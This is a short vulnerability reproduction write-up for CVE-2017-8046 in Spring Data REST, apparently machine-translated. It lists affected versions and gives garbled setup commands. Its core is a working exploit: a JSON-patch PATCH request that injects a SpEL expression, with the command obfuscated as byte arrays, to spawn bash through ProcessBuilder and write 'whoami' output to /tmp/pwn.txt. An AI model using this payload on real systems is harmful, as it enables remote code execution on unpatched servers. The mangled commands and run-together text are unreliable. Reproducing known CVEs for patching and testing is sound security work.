Spring Data REST patch request Remote Code Execution vulnerability case (cve-2017-8046)

Malicious patch requests are submitted to the Spring-data-rest service using carefully constructed JSON data to execute arbitrary Java code

1. Background

Spring data Rest is part of the spring Data project and makes it easy to build a hyper-media-driven rest Web service on top of the spring data repository. Malicious patch requests are submitted to the Spring-data-rest service using carefully constructed JSON data to execute arbitrary Java code

2. Scope of impact

Spring data rest versions prior to 2.5.12, 2.6.7, 3.0 RC3 can view the version of the Spring-data-rest-webmvc jar package to determine the version of Spring data rest

3. Local replication of vulnerabilities

MVN installation

CD/optwget http://apache.mirror.gtcomm.net/maven/maven-3/3.5.0/binaries/ Apache-maven-3.5.0-bin.zipUnzip apache-maven-3.5. 0-bin. Zip  ~/. Bash_profile#path=/opt/apache-maven-3.5. 0/-V

Start the Web service

wget https://github.com/spring-projects/spring-data-examples/archive/master.zip  Unzip Master. Zip CD Spring-data-examples-master/rest/multi-storemvn Spring-boot:run

Add data

" Content-type:application/json " ' {"FirstName": "Greg", "LastName": "Turnquist"} ' http://localhost:8080/persons

Remote Code Execution

The request method is PATCH , Content-Type forapplication/json-patch+json

",". Join (Map (str, (Map (ord, "WhoAmI >/tmp/pwn.txt")))

patch/persons/1http/1.1Host:192.168.1.108:8080Accept:/Accept-Language:enuser-agent:mozilla/5.0(Compatible; MSIE9.0; Windows NT6.1; Win64; x64; trident/5.0) Connection:closecontent-type:application/json-Patch+jsoncontent-length:325[{ "op":"Replace","Path":"(New Java.lang.ProcessBuilder new java.lang.String (New byte[]{47,117,115,114,47,98,105,110,47,98,97,115,104}) , New java.lang.String (New byte[]{45,99}), New java.lang.String (New byte[]{ 119,104,111,97,109,105,32,62,32,47,116,109,112,47,112,119,110,46,116,120,116})). Start (). x","value":"Zhang"}]

The/tmp/pwn.txt file is generated

4. Reference

Https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA

Https://github.com/spring-projects/spring-data-examples/tree/master/rest/multi-store

Spring Data REST patch request Remote Code Execution vulnerability case (cve-2017-8046)